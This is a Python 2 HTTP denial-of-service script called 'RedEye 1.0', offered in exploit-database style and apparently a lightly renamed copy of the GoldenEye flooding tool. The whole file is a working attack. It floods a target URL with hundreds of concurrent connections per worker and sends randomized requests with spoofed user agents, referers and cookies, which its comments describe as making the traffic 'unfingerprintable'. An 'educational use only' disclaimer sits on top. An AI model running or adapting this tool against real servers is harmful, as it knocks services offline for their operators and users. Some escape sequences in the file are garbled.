#!/usr/bin/env python

"""
# Exploit Title: [RedEye 1.0 http DDOS Script]
# Date: [10.10.2015]
# Exploit Author: [Dhiraj Mishra]
# Vendor Homepage: [fb.com/mishra.dhiraj16]
           [twitter.com/mishradhiraj_]
# Version: [1.0]
# Tested on: ['http' WEB APPLICATIONS]

##################################
#CAPEC-469 Provided by Mitre.org #
##################################

This tool is a DOS tool that is meant to put heavy load on HTTP servers
in order to bring them to their knees by exhausting the resource pool.

This tool is meant for research purposes only
and any malicious usage of this tool is prohibited.

LEGAL NOTICE:
THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY!
IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY ,
THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT.
BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.

"""

from multiprocessing import Process, Manager, Pool
import urlparse, ssl
import sys, getopt, random, time, os

# Python version-specific
if  sys.version_info < (3,0):
    # Python 2.x
    import httplib
    HTTPCLIENT = httplib
else:
    # Python 3.x
    import http.client
    HTTPCLIENT = http.client

####
# Config
####
DEBUG = False

####
# Constants
####
METHOD_GET  = 'get'
METHOD_POST = 'post'
METHOD_RAND = 'random'

JOIN_TIMEOUT=1.0

DEFAULT_WORKERS=10
DEFAULT_SOCKETS=500

GOLDENEYE_BANNER = 'RedEye v1.0 by Mishra Dhiraj <mishra.dhiraj95@gmail.com>'

USER_AGENT_PARTS = {
    'os': {
        'linux': {
            'name': [ 'Linux x86_64', 'Linux i386' ],
            'ext': [ 'X11' ]
        },
        'windows': {
            'name': [ 'Windows NT 6.1', 'Windows NT 6.3', 'Windows NT 5.1', 'Windows NT.6.2' ],
            'ext': [ 'WOW64', 'Win64; x64' ]
        },
        'mac': {
            'name': [ 'Macintosh' ],
            'ext': [ 'Intel Mac OS X %d_%d_%d' % (random.randint(10, 11), random.randint(0, 9), random.randint(0, 5)) for i in range(1, 10) ]
        },
    },
    'platform': {
        'webkit': {
            'name': [ 'AppleWebKit/%d.%d' % (random.randint(535, 537), random.randint(1,36)) for i in range(1, 30) ],
            'details': [ 'KHTML, like Gecko' ],
            'extensions': [ 'Chrome/%d.0.%d.%d Safari/%d.%d' % (random.randint(6, 32), random.randint(100, 2000), random.randint(0, 100), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 30) ] + [ 'Version/%d.%d.%d Safari/%d.%d' % (random.randint(4, 6), random.randint(0, 1), random.randint(0, 9), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 10) ]
        },
        'iexplorer': {
            'browser_info': {
                'name': [ 'MSIE 6.0', 'MSIE 6.1', 'MSIE 7.0', 'MSIE 7.0b', 'MSIE 8.0', 'MSIE 9.0', 'MSIE 10.0' ],
                'ext_pre': [ 'compatible', 'Windows; U' ],
                'ext_post': [ 'Trident/%d.0' % i for i in range(4, 6) ] + [ '.NET CLR %d.%d.%d' % (random.randint(1, 3), random.randint(0, 5), random.randint(1000, 30000)) for i in range(1, 10) ]
            }
        },
        'gecko': {
            'name': [ 'Gecko/%d%02d%02d Firefox/%d.0' % (random.randint(2001, 2010), random.randint(1,31), random.randint(1,12) , random.randint(10, 25)) for i in range(1, 30) ],
            'details': [],
            'extensions': []
        }
    }
}

####
# GoldenEye Class
####

class GoldenEye(object):

    # Counters
    counter = [0, 0]
    last_counter = [0, 0]

    # Containers
    workersQueue = []
    manager = None
    useragents = []

    # Properties
    url = None

    # Options
    nr_workers = DEFAULT_WORKERS
    nr_sockets = DEFAULT_SOCKETS
    method = METHOD_GET

    def __init__(self, url):

        # Set URL
        self.url = url

        # Initialize Manager
        self.manager = Manager()

        # Initialize Counters
        self.counter = self.manager.list((0, 0))


    def exit(self):
        self.stats()
        print "Shutting down RedEye"

    def __del__(self):
        self.exit()

    def printHeader(self):

        # Taunt!
        print
        print GOLDENEYE_BANNER
        print

    # Do the fun!
    def fire(self):

        self.printHeader()
        print "Hitting webserver in mode '{0}' with {1} workers running {2} connections each. Hit CTRL+C to cancel.".format(self.method, self.nr_workers, self.nr_sockets)

        if DEBUG:
            print "Starting {0} concurrent workers".format(self.nr_workers)

        # Start workers
        for i in range(int(self.nr_workers)):

            try:

                worker = Striker(self.url, self.nr_sockets, self.counter)
                worker.useragents = self.useragents
                worker.method = self.method

                self.workersQueue.append(worker)
                worker.start()
            except (Exception):
                error("Failed to start worker {0}".format(i))
                pass

        if DEBUG:
            print "Initiating monitor"
        self.monitor()

    def stats(self):

        try:
            if self.counter[0] > 0 or self.counter[1] > 0:

                print "{0} GoldenEye strikes deferred. ({1} Failed)".format(self.counter[0], self.counter[1])

                if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]:
                    print "tServer may be DOWN!"

                self.last_counter[0] = self.counter[0]
                self.last_counter[1] = self.counter[1]
        except (Exception):
            pass # silently ignore

    def monitor(self):
        while len(self.workersQueue) > 0:
            try:
                for worker in self.workersQueue:
                    if worker is not None and worker.is_alive():
                        worker.join(JOIN_TIMEOUT)
                    else:
                        self.workersQueue.remove(worker)

                self.stats()

            except (KeyboardInterrupt, SystemExit):
                print "CTRL+C received. Killing all workers"
                for worker in self.workersQueue:
                    try:
                        if DEBUG:
                            print "Killing worker {0}".format(worker.name)
                        #worker.terminate()
                        worker.stop()
                    except Exception, ex:
                        pass # silently ignore
                if DEBUG:
                    raise
                else:
                    pass

####
# Striker Class
####

class Striker(Process):


    # Counters
    request_count = 0
    failed_count = 0

    # Containers
    url = None
    host = None
    port = 80
    ssl = False
    referers = []
    useragents = []
    socks = []
    counter = None
    nr_socks = DEFAULT_SOCKETS

    # Flags
    runnable = True

    # Options
    method = METHOD_GET

    def __init__(self, url, nr_sockets, counter):

        super(Striker, self).__init__()

        self.counter = counter
        self.nr_socks = nr_sockets

        parsedUrl = urlparse.urlparse(url)

        if parsedUrl.scheme == 'https':
            self.ssl = True

        self.host = parsedUrl.netloc.split(':')[0]
        self.url = parsedUrl.path

        self.port = parsedUrl.port

        if not self.port:
            self.port = 80 if not self.ssl else 443


        self.referers = [
            'http://www.google.com/',
            'http://www.bing.com/',
            'http://www.baidu.com/',
            'http://www.yandex.com/',
            'http://' + self.host + '/'
            ]


    def __del__(self):
        self.stop()


    #builds random ascii string
    def buildblock(self, size):
        out_str = ''

        _LOWERCASE = range(97, 122)
        _UPPERCASE = range(65, 90)
        _NUMERIC   = range(48, 57)

        validChars = _LOWERCASE + _UPPERCASE + _NUMERIC

        for i in range(0, size):
            a = random.choice(validChars)
            out_str += chr(a)

        return out_str


    def run(self):

        if DEBUG:
            print "Starting worker {0}".format(self.name)

        while self.runnable:

            try:

                for i in range(self.nr_socks):

                    if self.ssl:
                        c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
                    else:
                        c = HTTPCLIENT.HTTPConnection(self.host, self.port)

                    self.socks.append(c)

                for conn_req in self.socks:

                    (url, headers) = self.createPayload()

                    method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method

                    conn_req.request(method.upper(), url, None, headers)

                for conn_resp in self.socks:

                    resp = conn_resp.getresponse()
                    self.incCounter()

                self.closeConnections()

            except:
                self.incFailed()
                if DEBUG:
                    raise
                else:
                    pass # silently ignore

        if DEBUG:
            print "Worker {0} completed run. Sleeping...".format(self.name)

    def closeConnections(self):
        for conn in self.socks:
            try:
                conn.close()
            except:
                pass # silently ignore


    def createPayload(self):

        req_url, headers = self.generateData()

        random_keys = headers.keys()
        random.shuffle(random_keys)
        random_headers = {}

        for header_name in random_keys:
            random_headers[header_name] = headers[header_name]

        return (req_url, random_headers)

    def generateQueryString(self, ammount = 1):

        queryString = []

        for i in range(ammount):

            key = self.buildblock(random.randint(3,10))
            value = self.buildblock(random.randint(3,20))
            element = "{0}={1}".format(key, value)
            queryString.append(element)

        return '&'.join(queryString)


    def generateData(self):

        returnCode = 0
        param_joiner = "?"

        if len(self.url) == 0:
            self.url = '/'

        if self.url.count("?") > 0:
            param_joiner = "&"

        request_url = self.generateRequestUrl(param_joiner)

        http_headers = self.generateRandomHeaders()


        return (request_url, http_headers)

    def generateRequestUrl(self, param_joiner = '?'):

        return self.url + param_joiner + self.generateQueryString(random.randint(1,5))

    def getUserAgent(self):

        if self.useragents:
            return random.choice(self.useragents)

        # Mozilla/[version] ([system and browser information]) [platform] ([platform details]) [extensions]

        ## Mozilla Version
        mozilla_version = "Mozilla/5.0" # hardcoded for now, almost every browser is on this version except IE6

        ## System And Browser Information
        # Choose random OS
        os = USER_AGENT_PARTS['os'][random.choice(USER_AGENT_PARTS['os'].keys())]
        os_name = random.choice(os['name'])
        sysinfo = os_name

        # Choose random platform
        platform = USER_AGENT_PARTS['platform'][random.choice(USER_AGENT_PARTS['platform'].keys())]

        # Get Browser Information if available
        if 'browser_info' in platform and platform['browser_info']:
            browser = platform['browser_info']

            browser_string = random.choice(browser['name'])

            if 'ext_pre' in browser:
                browser_string = "%s; %s" % (random.choice(browser['ext_pre']), browser_string)

            sysinfo = "%s; %s" % (browser_string, sysinfo)

            if 'ext_post' in browser:
                sysinfo = "%s; %s" % (sysinfo, random.choice(browser['ext_post']))


        if 'ext' in os and os['ext']:
            sysinfo = "%s; %s" % (sysinfo, random.choice(os['ext']))

        ua_string = "%s (%s)" % (mozilla_version, sysinfo)

        if 'name' in platform and platform['name']:
            ua_string = "%s %s" % (ua_string, random.choice(platform['name']))

        if 'details' in platform and platform['details']:
            ua_string = "%s (%s)" % (ua_string, random.choice(platform['details']) if len(platform['details']) > 1 else platform['details'][0] )

        if 'extensions' in platform and platform['extensions']:
            ua_string = "%s %s" % (ua_string, random.choice(platform['extensions']))

        return ua_string

    def generateRandomHeaders(self):

        # Random no-cache entries
        noCacheDirectives = ['no-cache', 'max-age=0']
        random.shuffle(noCacheDirectives)
        nrNoCache = random.randint(1, (len(noCacheDirectives)-1))
        noCache = ', '.join(noCacheDirectives[:nrNoCache])

        # Random accept encoding
        acceptEncoding = ['''','*','identity','gzip','deflate']
        random.shuffle(acceptEncoding)
        nrEncodings = random.randint(1,len(acceptEncoding)/2)
        roundEncodings = acceptEncoding[:nrEncodings]

        http_headers = {
            'User-Agent': self.getUserAgent(),
            'Cache-Control': noCache,
            'Accept-Encoding': ', '.join(roundEncodings),
            'Connection': 'keep-alive',
            'Keep-Alive': random.randint(1,1000),
            'Host': self.host,
        }

        # Randomly-added headers
        # These headers are optional and are
        # randomly sent thus making the
        # header count random and unfingerprintable
        if random.randrange(2) == 0:
            # Random accept-charset
            acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
            random.shuffle(acceptCharset)
            http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1))

        if random.randrange(2) == 0:
            # Random Referer
            url_part = self.buildblock(random.randint(5,10))

            random_referer = random.choice(self.referers) + url_part

            if random.randrange(2) == 0:
                random_referer = random_referer + '?' + self.generateQueryString(random.randint(1, 10))

            http_headers['Referer'] = random_referer

        if random.randrange(2) == 0:
            # Random Content-Trype
            http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])

        if random.randrange(2) == 0:
            # Random Cookie
            http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))

        return http_headers

    # Housekeeping
    def stop(self):
        self.runnable = False
        self.closeConnections()
        self.terminate()

    # Counter Functions
    def incCounter(self):
        try:
            self.counter[0] += 1
        except (Exception):
            pass

    def incFailed(self):
        try:
            self.counter[1] += 1
        except (Exception):
            pass



####

####
# Other Functions
####

def usage():
    print
    print '-----------------------------------------------------------------------------------------------------------'
    print
    print GOLDENEYE_BANNER
    print
    print ' USAGE: ./RedEye.py <url> [OPTIONS]'
    print
    print ' OPTIONS:'
    print 't FlagtttDescriptionttttttDefault'
    print 't -u, --useragentstFile with user-agents to usetttt(default: randomly generated)'
    print 't -w, --workersttNumber of concurrent workerstttt(default: {0})'.format(DEFAULT_WORKERS)
    print 't -s, --socketsttNumber of concurrent socketstttt(default: {0})'.format(DEFAULT_SOCKETS)
    print 't -m, --methodttHTTP Method to use 'get' or 'post'  or 'random'tt(default: get)'
    print 't -d, --debugttEnable Debug Mode [more verbose output]ttt(default: False)'
    print 't -h, --helpttShows this help'
    print
    print '-----------------------------------------------------------------------------------------------------------'


def error(msg):
    # print help information and exit:
    sys.stderr.write(str(msg+"n"))
    usage()
    sys.exit(2)

####
# Main
####

def main():

    try:

        if len(sys.argv) < 2:
            error('Please supply at least the URL')

        url = sys.argv[1]

        if url == '-h':
            usage()
            sys.exit()

        if url[0:4].lower() != 'http':
            error("Invalid URL supplied")

        if url == None:
            error("No URL supplied")

        opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:u:", ["debug", "help", "workers", "sockets", "method", "useragents" ])

        workers = DEFAULT_WORKERS
        socks = DEFAULT_SOCKETS
        method = METHOD_GET

        uas_file = None
        useragents = []

        for o, a in opts:
            if o in ("-h", "--help"):
                usage()
                sys.exit()
            elif o in ("-u", "--useragents"):
                uas_file = a
            elif o in ("-s", "--sockets"):
                socks = int(a)
            elif o in ("-w", "--workers"):
                workers = int(a)
            elif o in ("-d", "--debug"):
                global DEBUG
                DEBUG = True
            elif o in ("-m", "--method"):
                if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
                    method = a
                else:
                    error("method {0} is invalid".format(a))
            else:
                error("option '"+o+"' doesn't exists")


        if uas_file:
            try:
                with open(uas_file) as f:
                    useragents = f.readlines()
            except EnvironmentError:
                    error("cannot read file {0}".format(uas_file))

        goldeneye = GoldenEye(url)
        goldeneye.useragents = useragents
        goldeneye.nr_workers = workers
        goldeneye.method = method
        goldeneye.nr_sockets = socks

        goldeneye.fire()

    except getopt.GetoptError, err:

        # print help information and exit:
        sys.stderr.write(str(err))
        usage()
        sys.exit(2)

if __name__ == "__main__":
    main()